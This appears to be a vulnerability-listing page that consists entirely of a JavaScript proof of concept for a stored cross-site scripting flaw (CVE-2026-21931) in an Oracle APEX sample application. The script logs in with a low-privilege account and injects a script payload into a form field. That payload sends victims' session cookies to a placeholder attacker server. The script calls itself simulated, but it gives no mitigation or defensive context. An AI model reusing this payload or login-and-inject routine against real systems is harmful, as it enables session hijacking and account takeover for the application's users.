Oracle APEX Sample Applications Brookstrut Sample App 漏洞 (CVE-2026-21931)

// CVE-2026-21931 PoC - XSS in Oracle APEX Brookstrut Sample App // This is a simulated PoC for demonstration purposes const axios = require('axios'); // Target configuration const TARGET_URL = 'https://vulnerable-apex-server/ords/f?p=4550:100'; const ATTACKER_SERVER = 'http://attacker-server:8080/steal'; // Malicious payload for XSS const xssPayload = `<script> document.write('<img src="' + '${ATTACKER_SERVER}?cookie=' + document.cookie + '" />'); </script>`; // Login to Oracle APEX with low-privileged account async function login(username, password) { const response = await axios.post(TARGET_URL.replace(':100', ':LOGIN'), { p_flow_id: '4550', p_flow_step_id: 'LOGIN', p_arg_names: ['P9999_USERNAME', 'P9999_PASSWORD'], P9999_USERNAME: username, P9999_PASSWORD: password }); return response.headers['set-cookie']; } // Inject XSS payload into Brookstrut Sample App async function injectPayload(cookies) { const response = await axios.post(TARGET_URL, { p_flow_id: '4550', p_flow_step_id: '100', p_arg_names: ['P100_INPUT_FIELD'], P100_INPUT_FIELD: xssPayload, p_request: 'SUBMIT' }, { headers: { Cookie: cookies } }); return response.status === 200; } // Main execution (async () => { try { console.log('[+] Logging into Oracle APEX...'); const cookies = await login('low_privilege_user', 'password'); console.log('[+] Injecting XSS payload into Brookstrut Sample App...'); const injected = await injectPayload(cookies); if (injected) { console.log('[+] Payload injected successfully!'); console.log('[+] When victim visits the page, cookie will be stolen'); console.log(`[+] Attacker server: ${ATTACKER_SERVER}`); } } catch (error) { console.error('[-] Error:', error.message); } })();